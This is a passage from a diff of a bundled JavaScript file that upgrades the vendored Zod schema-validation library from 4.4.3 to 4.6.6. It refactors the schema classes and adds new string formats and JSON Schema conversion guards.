def); ZodStringFormat.init(inst, def); @@ -67732,8 +72371,8 @@ function url(params) { } function httpUrl(params) { return _url(ZodURL, { - protocol: regexes_exports.httpProtocol, - hostname: regexes_exports.domain, + protocol: httpProtocol, + hostname: domain, ...util_exports.normalizeParams(params) }); } @@ -67842,6 +72481,20 @@ var ZodE164 = /* @__PURE__ */ $constructor("ZodE164", (inst, def) => { function e1642(params) { return _e164(ZodE164, params); } +var ZodCreditCard = /* @__PURE__ */ $constructor("ZodCreditCard", (inst, def) => { + $ZodCreditCard.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function creditCard2(params) { + return _creditCard(ZodCreditCard, params); +} +var ZodIBAN = /* @__PURE__ */ $constructor("ZodIBAN", (inst, def) => { + $ZodIBAN.init(inst, def); + ZodStringFormat.init(inst, def); +}); +function iban2(params) { + return _iban(ZodIBAN, params); +} var ZodJWT = /* @__PURE__ */ $constructor("ZodJWT", (inst, def) => { $ZodJWT.init(inst, def); ZodStringFormat.init(inst, def); @@ -67857,10 +72510,13 @@ function stringFormat(format, fnOrRegex, _params = {}) { return _stringFormat(ZodCustomStringFormat, format, fnOrRegex, _params); } function hostname2(_params) { - return _stringFormat(ZodCustomStringFormat, "hostname", regexes_exports.hostname, _params); + return _stringFormat(ZodCustomStringFormat, "hostname", hostname, _params); } function hex2(_params) { - return _stringFormat(ZodCustomStringFormat, "hex", regexes_exports.hex, _params); + return _stringFormat(ZodCustomStringFormat, "hex", hex, _params); +} +function currencyCode2(_params) { + return _stringFormat(ZodCustomStringFormat, "currency_code", currencyCode, _params); } function hash(alg, params) { const enc = params?.enc ?? "hex"; @@ -67870,11 +72526,29 @@ function hash(alg, params) { throw new Error(`Unrecognized hash format: ${format}`); return _stringFormat(ZodCustomStringFormat, format, regex, params); } -var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { - $ZodNumber.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); - _installLazyMethods(inst, "ZodNumber", { +var ZodNumber = /* @__PURE__ */ $constructor( + "ZodNumber", + (inst, def) => { + $ZodNumber.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => numberProcessor(inst, ctx, json3, params); + inst.isFinite = true; + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => { + const { minimum, exclusiveMinimum } = aggregateChecks(inst); + return Math.max(minimum ?? Number.NEGATIVE_INFINITY, exclusiveMinimum ?? Number.NEGATIVE_INFINITY); + }, + maxValue: (inst) => { + const { maximum, exclusiveMaximum } = aggregateChecks(inst); + return Math.min(maximum ?? Number.POSITIVE_INFINITY, exclusiveMaximum ?? Number.POSITIVE_INFINITY); + }, + isInt: (inst) => { + const { isInt, multipleOf } = aggregateChecks(inst); + return !!isInt || !!multipleOf?.some(Number.isSafeInteger); + }, + format: (inst) => aggregateChecks(inst).format ?? null + }, { gt(value, params) { return this.check(_gt(value, params)); }, @@ -67920,14 +72594,8 @@ var ZodNumber = /* @__PURE__ */ $constructor("ZodNumber", (inst, def) => { finite() { return this; } - }); - const bag = inst._zod.bag; - inst.minValue = Math.max(bag.minimum ?? Number.NEGATIVE_INFINITY, bag.exclusiveMinimum ?? Number.NEGATIVE_INFINITY) ?? null; - inst.maxValue = Math.min(bag.maximum ?? Number.POSITIVE_INFINITY, bag.exclusiveMaximum ?? Number.POSITIVE_INFINITY) ?? null; - inst.isInt = (bag.format ?? "").includes("int") || Number.isSafeInteger(bag.multipleOf ?? 0.5); - inst.isFinite = true; - inst.format = bag.format ?? null; -}); + }) +); function number2(params) { return _number(ZodNumber, params); } @@ -67958,28 +72626,53 @@ var ZodBoolean = /* @__PURE__ */ $constructor("ZodBoolean", (inst, def) => { function boolean2(params) { return _boolean(ZodBoolean, params); } -var ZodBigInt = /* @__PURE__ */ $constructor("ZodBigInt", (inst, def) => { - $ZodBigInt.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.gt = (value, params) => inst.check(_gt(value, params)); - inst.gte = (value, params) => inst.check(_gte(value, params)); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.lt = (value, params) => inst.check(_lt(value, params)); - inst.lte = (value, params) => inst.check(_lte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - inst.positive = (params) => inst.check(_gt(BigInt(0), params)); - inst.negative = (params) => inst.check(_lt(BigInt(0), params)); - inst.nonpositive = (params) => inst.check(_lte(BigInt(0), params)); - inst.nonnegative = (params) => inst.check(_gte(BigInt(0), params)); - inst.multipleOf = (value, params) => inst.check(_multipleOf(value, params)); - const bag = inst._zod.bag; - inst.minValue = bag.minimum ?? null; - inst.maxValue = bag.maximum ?? null; - inst.format = bag.format ?? null; -}); +var ZodBigInt = /* @__PURE__ */ $constructor( + "ZodBigInt", + (inst, def) => { + $ZodBigInt.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => bigintProcessor(inst, ctx, json3, params); + }, + /* @__PURE__ */ util_exports.derived({ + minValue: (inst) => aggregateChecks(inst).minimum ?? null, + maxValue: (inst) => aggregateChecks(inst).maximum ?? null, + format: (inst) => aggregateChecks(inst).format ?? null + }, { + gte(value, params) { + return this.check(_gte(value, params)); + }, + min(value, params) { + return this.check(_gte(value, params)); + }, + gt(value, params) { + return this.check(_gt(value, params)); + }, + lt(value, params) { + return this.check(_lt(value, params)); + }, + lte(value, params) { + return this.check(_lte(value, params)); + }, + max(value, params) { + return this.check(_lte(value, params)); + }, + positive(params) { + return this.check(_gt(BigInt(0), params)); + }, + negative(params) { + return this.check(_lt(BigInt(0), params)); + }, + nonpositive(params) { + return this.check(_lte(BigInt(0), params)); + }, + nonnegative(params) { + return this.check(_gte(BigInt(0), params)); + }, + multipleOf(value, params) { + return this.check(_multipleOf(value, params)); + } + }) +); function bigint2(params) { return _bigint(ZodBigInt, params); } @@ -68049,41 +72742,51 @@ var ZodVoid = /* @__PURE__ */ $constructor("ZodVoid", (inst, def) => { function _void2(params) { return _void(ZodVoid, params); } -var ZodDate = /* @__PURE__ */ $constructor("ZodDate", (inst, def) => { - $ZodDate.init(inst, def); - ZodType.init(inst, def); - inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); - inst.min = (value, params) => inst.check(_gte(value, params)); - inst.max = (value, params) => inst.check(_lte(value, params)); - const c = inst._zod.bag; - inst.minDate = c.minimum ? new Date(c.minimum) : null; - inst.maxDate = c.maximum ? new Date(c.maximum) : null; -}); -function date3(params) { +var ZodDate = /* @__PURE__ */ $constructor( + "ZodDate", + (inst, def) => { + $ZodDate.init(inst, def); + ZodType.init(inst, def); + inst._zod.processJSONSchema = (ctx, json3, params) => dateProcessor(inst, ctx, json3, params); + inst.min = (value, params) => inst.check(_gte(value, params)); + inst.max = (value, params) => inst.check(_lte(value, params)); + }, + /* @__PURE__ */ util_exports.derived({ + minDate: (inst) => { + const { minimum } = aggregateChecks(inst); + return minimum ? new Date(minimum) : null; + }, + maxDate: (inst) => { + const { maximum } = aggregateChecks(inst); + return maximum ? new Date(maximum) : null; + } + }, {}) +); +function date2(params) { return _date(ZodDate, params); } var ZodArray = /* @__PURE__ */ $constructor("ZodArray", (inst, def) => { + _ensureDefaultMemoizer(); $ZodArray.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => arrayProcessor(inst, ctx, json3, params); inst.element = def.element; - _installLazyMethods(inst, "ZodArray", { - min(n, params) { - return this.check(_minLength(n, params)); - }, - nonempty(params) { - return this.check(_minLength(1, params)); - }, - max(n, params) { - return this.check(_maxLength(n, params)); - }, - length(n, params) { - return this.check(_length(n, params)); - }, - unwrap() { - return this.element; - } - }); +}, { + min(n, params) { + return this.check(_minLength(n, params)); + }, + nonempty(params) { + return this.check(_minLength(1, params)); + }, + max(n, params) { + return this.check(_maxLength(n, params)); + }, + length(n, params) { + return this.check(_length(n, params)); + }, + unwrap() { + return this.element; + } }); function array(element, params) { return _array(ZodArray, element, params); @@ -68093,53 +72796,54 @@ function keyof(schema) { return _enum2(Object.keys(shape)); } var ZodObject = /* @__PURE__ */ $constructor("ZodObject", (inst, def) => { + _ensureDefaultMemoizer(); $ZodObjectJIT.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => objectProcessor(inst, ctx, json3, params); - util_exports.defineLazy(inst, "shape", () => { - return def.shape; - }); - _installLazyMethods(inst, "ZodObject", { - keyof() { - return _enum2(Object.keys(this._zod.def.shape)); - }, - catchall(catchall) { - return this.clone({ ...this._zod.def, catchall }); - }, - passthrough() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - loose() { - return this.clone({ ...this._zod.def, catchall: unknown() }); - }, - strict() { - return this.clone({ ...this._zod.def, catchall: never() }); - }, - strip() { - return this.clone({ ...this._zod.def, catchall: void 0 }); - }, - extend(incoming) { - return util_exports.extend(this, incoming); - }, - safeExtend(incoming) { - return util_exports.safeExtend(this, incoming); - }, - merge(other) { - return util_exports.merge(this, other); - }, - pick(mask) { - return util_exports.pick(this, mask); - }, - omit(mask) { - return util_exports.omit(this, mask); - }, - partial(...args) { - return util_exports.partial(ZodOptional, this, args[0]); - }, - required(...args) { - return util_exports.required(ZodNonOptional, this, args[0]); - } - }); + util_exports.installLazyProp(inst, "shape", (self2) => self2._zod.def.shape, false); +}, { + keyof() { + return _enum2(Object.keys(this._zod.def.shape)); + }, + catchall(catchall) { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall })); + }, + passthrough() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + loose() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: unknown() })); + }, + strict() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: never() })); + }, + strip() { + return this.clone(util_exports.mergeDefs(this._zod.def, { catchall: void 0 })); + }, + extend(incoming) { + return util_exports.extend(this, incoming); + }, + safeExtend(incoming) { + return util_exports.safeExtend(this, incoming); + }, + merge(other) { + return util_exports.merge(this, other); + }, + pick(mask) { + return util_exports.pick(this, mask); + }, + omit(mask) { + return util_exports.omit(this, mask); + }, + partial(...args) { + return util_exports.partial(ZodOptional, this, args[0]); + }, + exactPartial(...args) { + return util_exports.partial(ZodExactOptional, this, args[0], "exactPartial"); + }, + required(...args) { + return util_exports.required(ZodNonOptional, this, args[0]); + } }); function object(shape, params) { const def = { @@ -68217,13 +72921,26 @@ function intersection(left, right) { }); } var ZodTuple = /* @__PURE__ */ $constructor("ZodTuple", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTuple.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => tupleProcessor(inst, ctx, json3, params); - inst.rest = (rest) => inst.clone({ - ...inst._zod.def, - rest - }); +}, { + rest(rest) { + return this.clone({ + ...this._zod.def, + rest + }); + }, + partial() { + const def = this._zod.def; + if (def.checks?.length) + throw new Error(".partial() cannot be used on tuple schemas containing refinements"); + return this.clone({ + ...def, + items: def.items.map((item) => new ZodOptional({ type: "optional", innerType: item })) + }); + } }); function tuple(items, _paramsOrRest, _params) { const hasRest = _paramsOrRest instanceof $ZodType; @@ -68237,6 +72954,7 @@ function tuple(items, _paramsOrRest, _params) { }); } var ZodRecord = /* @__PURE__ */ $constructor("ZodRecord", (inst, def) => { + _ensureDefaultMemoizer(); $ZodRecord.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => recordProcessor(inst, ctx, json3, params); @@ -68260,13 +72978,12 @@ function record(keyType, valueType, params) { }); } function partialRecord(keyType, valueType, params) { - const k = clone(keyType); - k._zod.values = void 0; return new ZodRecord({ type: "record", - keyType: k, + keyType, valueType, - ...util_exports.normalizeParams(params) + ...util_exports.normalizeParams(params), + partial: true }); } function looseRecord(keyType, valueType, params) { @@ -68279,6 +72996,7 @@ function looseRecord(keyType, valueType, params) { }); } var ZodMap = /* @__PURE__ */ $constructor("ZodMap", (inst, def) => { + _ensureDefaultMemoizer(); $ZodMap.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => mapProcessor(inst, ctx, json3, params); @@ -68298,6 +73016,7 @@ function map(keyType, valueType, params) { }); } var ZodSet = /* @__PURE__ */ $constructor("ZodSet", (inst, def) => { + _ensureDefaultMemoizer(); $ZodSet.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => setProcessor(inst, ctx, json3, params); @@ -68318,7 +73037,7 @@ var ZodEnum = /* @__PURE__ */ $constructor("ZodEnum", (inst, def) => { ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => enumProcessor(inst, ctx, json3, params); inst.enum = def.entries; - inst.options = Object.values(def.entries); + inst.options = [...inst._zod.values]; const keys = new Set(Object.keys(def.entries)); inst.extract = (values2, params) => { const newEntries = {}; @@ -68399,6 +73118,7 @@ function file(params) { return _file(ZodFile, params); } var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { + _ensureDefaultMemoizer(); $ZodTransform.init(inst, def); ZodType.init(inst, def); inst._zod.processJSONSchema = (ctx, json3, params) => transformProcessor(inst, ctx, json3, params); @@ -68414,21 +73134,20 @@ var ZodTransform = /* @__PURE__ */ $constructor("ZodTransform", (inst, def) => { if (_issue.fatal) _issue.continue = false; _issue.code ?? (_issue.code = "custom"); - _issue.input ?? (_issue.input = payload.value); + if (!("input" in _issue)) + _issue.input = payload.value; _issue.inst ?? (_issue.inst = inst); payload.issues.push(util_exports.issue(_issue)); } }; - const output = def.transform(payload.value, payload); - if (output instanceof Promise) { - return output.then((output2) => { - payload.value = output2; - payload.fallback = true; + const output2 = def.transform(payload.value, payload); + if (output2 instanceof Promise) { + return output2.then((output3) => { + payload.value = output3; return payload; }); } - payload.value = output; - payload.fallback = true; + payload.value = output2; return payload; }; }); @@ -68544,7 +73263,7 @@ function _catch2(innerType, catchValue) { return new ZodCatch({ type: "catch", innerType, - catchValue: typeof catchValue === "function" ? catchValue : () => catchValue + catchValue: typeof catchValue === "function" ? catchValue : util_exports.constantCatch(catchValue) }); } var ZodNaN = /* @__PURE__ */ $constructor("ZodNaN", (inst, def) => { @@ -68681,8 +73400,15 @@ function superRefine(fn, params) { } var describe2 = describe; var meta2 = meta; +var ZodInstanceOf = /* @__PURE__ */ $constructor("ZodInstanceOf", (inst, def) => { + ZodCustom.init(inst, def); +}, { + properties(shape, params) { + return this.check(_properties(shape, params)); + } +}); function _instanceof(cls, params = {}) { - const inst = new ZodCustom({ + const inst = new ZodInstanceOf({ type: "custom", check: "custom", fn: (data) => data instanceof cls, @@ -68722,7 +73448,7 @@ function preprocess(fn, schema) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/compat.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/compat.js var ZodIssueCode = { invalid_type: "invalid_type", too_big: "too_big", @@ -68748,7 +73474,32 @@ var ZodFirstPartyTypeKind; /* @__PURE__ */ (function(ZodFirstPartyTypeKind2) { })(ZodFirstPartyTypeKind || (ZodFirstPartyTypeKind = {})); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/from-json-schema.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/iso.js +var iso_exports = {}; +__export(iso_exports, { + ZodISODate: () => ZodISODate, + ZodISODateTime: () => ZodISODateTime, + ZodISODuration: () => ZodISODuration, + ZodISOTime: () => ZodISOTime, + date: () => date3, + datetime: () => datetime2, + duration: () => duration2, + time: () => time2 +}); +function datetime2(params) { + return _isoDateTime(ZodISODateTime, params); +} +function date3(params) { + return _isoDate(ZodISODate, params); +} +function time2(params) { + return _isoTime(ZodISOTime, params); +} +function duration2(params) { + return _isoDuration(ZodISODuration, params); +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/from-json-schema.js var z = { ...schemas_exports2, ...checks_exports2, @@ -68838,6 +73589,12 @@ function detectVersion(schema, defaultTarget) { } return defaultTarget ?? "draft-2020-12"; } +function applyMinItems(items, minItems) { + return items.map((item, index2) => index2 < minItems ? item : item.optional()); +} +function decodeJSONPointerSegment(segment) { + return segment.replace(/~1/g, "/").replace(/~0/g, "~"); +} function resolveRef(ref, ctx) { if (!ref.startsWith("#")) { throw new Error("External $ref is not supported, only local refs (#/...) are allowed"); @@ -68848,7 +73605,7 @@ function resolveRef(ref, ctx) { } const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions"; if (path[0] === defsKey) { - const key = path[1]; + const key = path[1] === void 0 ? void 0 : decodeJSONPointerSegment(path[1]); if (!key || !ctx.defs[key]) { throw new Error(`Reference not found: ${ref}`); } @@ -68856,6 +73613,198 @@ function resolveRef(ref, ctx) { } throw new Error(`Reference not found: ${ref}`); } +function checkObjectGuards(objectSchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const value = payload.value; + if (typeof value !== "object" || value === null || Array.isArray(value)) + return; + const keys = Object.getOwnPropertyNames(value); + if (guards.minProperties !== void 0 && keys.length < guards.minProperties) { + payload.issues.push({ + origin: "object", + code: "too_small", + minimum: guards.minProperties, + inclusive: true, + message: `Too small: expected object to have >=${guards.minProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.maxProperties !== void 0 && keys.length > guards.maxProperties) { + payload.issues.push({ + origin: "object", + code: "too_big", + maximum: guards.maxProperties, + inclusive: true, + message: `Too big: expected object to have <=${guards.maxProperties} properties`, + input: value, + inst: objectSchema, + continue: true + }); + } + if (guards.keySchema) { + for (const key of keys) { + const result = guards.keySchema.safeParse(key); + if (result.success) + continue; + payload.issues.push({ + code: "invalid_key", + origin: "record", + issues: result.error.issues, + input: key, + path: [key], + continue: true + }); + } + } + }); + return guard.pipe(objectSchema); +} +function canonicalKey(value, seen) { + if (value === null) + return "z"; + const type = typeof value; + if (type !== "object") { + if (type === "number" && Number.isNaN(value)) + return null; + const raw = String(value); + return `${type[0]}${raw.length}:${raw}`; + } + if (seen.has(value)) + return null; + seen.add(value); + try { + if (Array.isArray(value)) { + const parts2 = []; + for (const item of value) { + const key = canonicalKey(item, seen); + if (key === null) + return null; + parts2.push(key); + } + return `a${parts2.length}:[${parts2.join(",")}]`; + } + const keys = Object.keys(value).sort(); + const parts = []; + for (const k of keys) { + const key = canonicalKey(value[k], seen); + if (key === null) + return null; + parts.push(`${k.length}:${k}=${key}`); + } + return `o${parts.length}:{${parts.join(",")}}`; + } finally { + seen.delete(value); + } +} +var SCHEMA_KEYWORDS = /* @__PURE__ */ new Set([ + "items", + "prefixItems", + "additionalItems", + "additionalProperties", + "contains", + "propertyNames", + "not", + "if", + "then", + "else", + "allOf", + "anyOf", + "oneOf", + "unevaluatedItems", + "unevaluatedProperties", + "contentSchema" +]); +var SCHEMA_MAP_KEYWORDS = /* @__PURE__ */ new Set([ + "properties", + "patternProperties", + "dependentSchemas", + "dependencies", + "$defs", + "definitions" +]); +function containsRef(value) { + if (typeof value !== "object" || value === null) + return false; + if (Array.isArray(value)) + return value.some(containsRef); + if (typeof value.$ref === "string") + return true; + return Object.entries(value).some(([key, sub]) => { + if (SCHEMA_KEYWORDS.has(key)) + return containsRef(sub); + if (!SCHEMA_MAP_KEYWORDS.has(key) || typeof sub !== "object" || sub === null) + return false; + return Object.values(sub).some(containsRef); + }); +} +function plural(n) { + return n === 1 ? "element" : "elements"; +} +function checkArrayGuards(arraySchema, guards) { + const guard = z.transform((value) => value).check((payload) => { + const items = payload.value; + if (!Array.isArray(items)) + return; + if (guards.uniqueItems === true) { + const firstSeen = /* @__PURE__ */ new Map(); + for (let i = 0; i < items.length; i++) { + const key = canonicalKey(items[i], /* @__PURE__ */ new Set()); + if (key === null) + continue; + const first = firstSeen.get(key); + if (first === void 0) { + firstSeen.set(key, i); + continue; + } + payload.issues.push({ + code: "custom", + message: `Array items must be unique: element at index ${i} duplicates the one at index ${first}`, + input: items, + path: [i], + continue: true + }); + } + } + if (guards.containsSchema) { + const minContains = guards.minContains ?? 1; + const ceiling = guards.maxContains !== void 0 ? guards.maxContains + 1 : Number.POSITIVE_INFINITY; + let matches = 0; + for (const item of items) { + if (guards.containsSchema.safeParse(item).success && ++matches >= ceiling) + break; + } + if (matches < minContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at least ${minContains} matching ${plural(minContains)}; found ${matches}`, + input: items, + continue: true + }); + } + if (guards.maxContains !== void 0 && matches > guards.maxContains) { + payload.issues.push({ + code: "custom", + message: `Array must contain at most ${guards.maxContains} matching ${plural(guards.maxContains)}`, + input: items, + continue: true + }); + } + } + }); + return guard.pipe(arraySchema); +} +function getTupleRest(restSchema, ctx) { + if (restSchema === false) { + return void 0; + } + if (restSchema === void 0 || restSchema === true) { + return z.any(); + } + return convertSchema(restSchema, ctx); +} +var fullTime = /^(?:[01]\d|2[0-3]):[0-5]\d:[0-5]\d(?:\.\d+)?(?:Z|[+-](?:[01]\d|2[0-3]):[0-5]\d)$/; function convertBaseSchema(schema, ctx) { if (schema.not !== void 0) { if (typeof schema.not === "object" && Object.keys(schema.not).length === 0) { @@ -68948,13 +73897,15 @@ function convertBaseSchema(schema, ctx) { } else if (format === "uuid" || format === "guid") { stringSchema = stringSchema.check(z.uuid()); } else if (format === "date-time") { - stringSchema = stringSchema.check(z.iso.datetime()); + stringSchema = stringSchema.check(z.iso.datetime({ offset: true })); } else if (format === "date") { stringSchema = stringSchema.check(z.iso.date()); } else if (format === "time") { - stringSchema = stringSchema.check(z.iso.time()); + stringSchema = stringSchema.check(z.regex(fullTime)); } else if (format === "duration") { stringSchema = stringSchema.check(z.iso.duration()); + } else if (format === "hostname") { + stringSchema = stringSchema.check(z.hostname()); } else if (format === "ipv4") { stringSchema = stringSchema.check(z.ipv4()); } else if (format === "ipv6") { @@ -68971,6 +73922,10 @@ function convertBaseSchema(schema, ctx) { stringSchema = stringSchema.check(z.base64url()); } else if (format === "e164") { stringSchema = stringSchema.check(z.e164()); + } else if (format === "credit_card") { + stringSchema = stringSchema.check(z.creditCard()); + } else if (format === "iban") { + stringSchema = stringSchema.check(z.iban()); } else if (format === "jwt") { stringSchema = stringSchema.check(z.jwt()); } else if (format === "emoji") { @@ -69004,10 +73959,10 @@ function convertBaseSchema(schema, ctx) { case "number": case "integer": { let numberSchema = type === "integer" ? z.number().int() : z.number(); - if (typeof schema.minimum === "number") { + if (typeof schema.minimum === "number" && schema.exclusiveMinimum !== true) { numberSchema = numberSchema.min(schema.minimum); } - if (typeof schema.maximum === "number") { + if (typeof schema.maximum === "number" && schema.exclusiveMaximum !== true) { numberSchema = numberSchema.max(schema.maximum); } if (typeof schema.exclusiveMinimum === "number") { @@ -69038,21 +73993,10 @@ function convertBaseSchema(schema, ctx) { const shape = {}; const properties = schema.properties || {}; const requiredSet = new Set(schema.required || []); + const additionalSchema = typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : void 0; for (const [key, propSchema] of Object.entries(properties)) { const propZodSchema = convertSchema(propSchema, ctx); - shape[key] = requiredSet.has(key) ? propZodSchema : propZodSchema.optional(); - } - if (schema.propertyNames) { - const keySchema = convertSchema(schema.propertyNames, ctx); - const valueSchema = schema.additionalProperties && typeof schema.additionalProperties === "object" ? convertSchema(schema.additionalProperties, ctx) : z.any(); - if (Object.keys(shape).length === 0) { - zodSchema = z.record(keySchema, valueSchema); - break; - } - const objectSchema2 = z.object(shape).passthrough(); - const recordSchema = z.looseRecord(keySchema, valueSchema); - zodSchema = z.intersection(objectSchema2, recordSchema); - break; + assignProp(shape, key, requiredSet.has(key) ? propZodSchema : propZodSchema.optional()); } if (schema.patternProperties) { const patternProps = schema.patternProperties; @@ -69079,15 +74023,51 @@ function convertBaseSchema(schema, ctx) { } zodSchema = result; } - break; - } - const objectSchema = z.object(shape); - if (schema.additionalProperties === false) { - zodSchema = objectSchema.strict(); - } else if (typeof schema.additionalProperties === "object") { - zodSchema = objectSchema.catchall(convertSchema(schema.additionalProperties, ctx)); + if (schema.additionalProperties === false) { + const propertyKeys = Object.keys(shape); + const patterns = patternKeys.map((p) => new RegExp(p)); + const basePatternSchema = zodSchema; + zodSchema = zodSchema.check((payload) => { + if (!isPlainObject(payload.value)) + return; + const unrecognized = []; + for (const key of Object.keys(payload.value)) { + if (propertyKeys.includes(key)) + continue; + if (patterns.some((regex) => regex.test(key))) + continue; + unrecognized.push(key); + } + if (unrecognized.length) { + payload.issues.push({ + code: "unrecognized_keys", + keys: unrecognized, + input: payload.value, + inst: basePatternSchema + }); + } + }); + } } else { - zodSchema = objectSchema.passthrough(); + const objectSchema = z.object(shape); + if (schema.additionalProperties === false) { + zodSchema = objectSchema.strict(); + } else if (additionalSchema) { + zodSchema = objectSchema.catchall(additionalSchema); + } else { + zodSchema = objectSchema.passthrough(); + } + } + const hasKeyGuard = schema.propertyNames !== void 0 && schema.propertyNames !== true; + const minProperties = typeof schema.minProperties === "number" ? schema.minProperties : void 0; + const maxProperties = typeof schema.maxProperties === "number" ? schema.maxProperties : void 0; + if (hasKeyGuard || minProperties !== void 0 || maxProperties !== void 0) { + let keySchema; + if (hasKeyGuard) { + const keyJSONSchema = typeof schema.propertyNames === "object" && schema.propertyNames.type === void 0 ? { type: "string", ...schema.propertyNames } : schema.propertyNames; + keySchema = convertSchema(keyJSONSchema, ctx); + } + zodSchema = checkObjectGuards(zodSchema, { keySchema, minProperties, maxProperties }); } break; } @@ -69095,13 +74075,12 @@ function convertBaseSchema(schema, ctx) { const prefixItems = schema.prefixItems; const items = schema.items; if (prefixItems && Array.isArray(prefixItems)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = prefixItems.map((item) => convertSchema(item, ctx)); - const rest = items && typeof items === "object" && !Array.isArray(items) ? convertSchema(items, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = !Array.isArray(items) ? getTupleRest(items, ctx) : void 0; + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69109,13 +74088,12 @@ function convertBaseSchema(schema, ctx) { zodSchema = zodSchema.check(z.maxLength(schema.maxItems)); } } else if (Array.isArray(items)) { + const minItems = typeof schema.minItems === "number" ? schema.minItems : 0; const tupleItems = items.map((item) => convertSchema(item, ctx)); - const rest = schema.additionalItems && typeof schema.additionalItems === "object" ? convertSchema(schema.additionalItems, ctx) : void 0; - if (rest) { - zodSchema = z.tuple(tupleItems).rest(rest); - } else { - zodSchema = z.tuple(tupleItems); - } + const positionalItems = applyMinItems(tupleItems, minItems); + const rest = getTupleRest(schema.additionalItems, ctx); + const tupleSchema = z.tuple(positionalItems); + zodSchema = rest ? tupleSchema.rest(rest) : tupleSchema; if (typeof schema.minItems === "number") { zodSchema = zodSchema.check(z.minLength(schema.minItems)); } @@ -69135,6 +74113,14 @@ function convertBaseSchema(schema, ctx) { } else { zodSchema = z.array(z.any()); } + if (schema.uniqueItems === true || schema.contains !== void 0) { + zodSchema = checkArrayGuards(zodSchema, { + uniqueItems: schema.uniqueItems === true, + containsSchema: schema.contains !== void 0 ? convertSchema(schema.contains, ctx) : void 0, + minContains: typeof schema.minContains === "number" ? schema.minContains : void 0, + maxContains: typeof schema.maxContains === "number" ? schema.maxContains : void 0 + }); + } break; } default: @@ -69192,9 +74178,27 @@ function convertSchema(schema, ctx) { extraMeta[key] = schema[key]; } } + if (schema.type === "object" && schema.$ref === void 0) { + if (schema.propertyNames !== void 0 && !containsRef(schema.propertyNames)) { + extraMeta.propertyNames = schema.propertyNames; + } + for (const key of ["minProperties", "maxProperties"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } + if (schema.type === "array" && schema.$ref === void 0) { + if (schema.contains !== void 0 && !containsRef(schema.contains)) { + extraMeta.contains = schema.contains; + } + for (const key of ["uniqueItems", "minContains", "maxContains"]) { + if (schema[key] !== void 0) + extraMeta[key] = schema[key]; + } + } for (const key of Object.keys(schema)) { if (!RECOGNIZED_KEYS.has(key)) { - extraMeta[key] = schema[key]; + assignProp(extraMeta, key, schema[key]); } } if (Object.keys(extraMeta).length > 0) { @@ -69228,7 +74232,204 @@ function fromJSONSchema(schema, params) { return convertSchema(normalized, ctx); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/coerce.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/visit.js +var RESOLVING = Symbol("z.visit/resolving"); +function visit(schema, fnOrHandlers) { + const fn = typeof fnOrHandlers === "function" ? fnOrHandlers : (node2, rewritten) => { + const h = fnOrHandlers[node2._zod.def.type]; + return h ? h(node2, rewritten) : node2; + }; + const cache2 = /* @__PURE__ */ new Map(); + function run(s) { + const cached2 = cache2.get(s); + if (cached2 === RESOLVING) { + return new $ZodLazy({ + type: "lazy", + getter: () => cache2.get(s) + }); + } + if (cached2 !== void 0) + return cached2; + cache2.set(s, RESOLVING); + const inner = mapInner(s); + const mapped = fn(inner, inner !== s); + cache2.set(s, mapped); + return mapped; + } + function mapInner(s) { + const def = s._zod.def; + const kind = def.type; + switch (kind) { + case "object": { + const oldShape = def.shape; + const keys = Object.keys(oldShape); + let changed = false; + const newShape = {}; + for (const k of keys) { + const mapped = run(oldShape[k]); + if (mapped !== oldShape[k]) + changed = true; + newShape[k] = 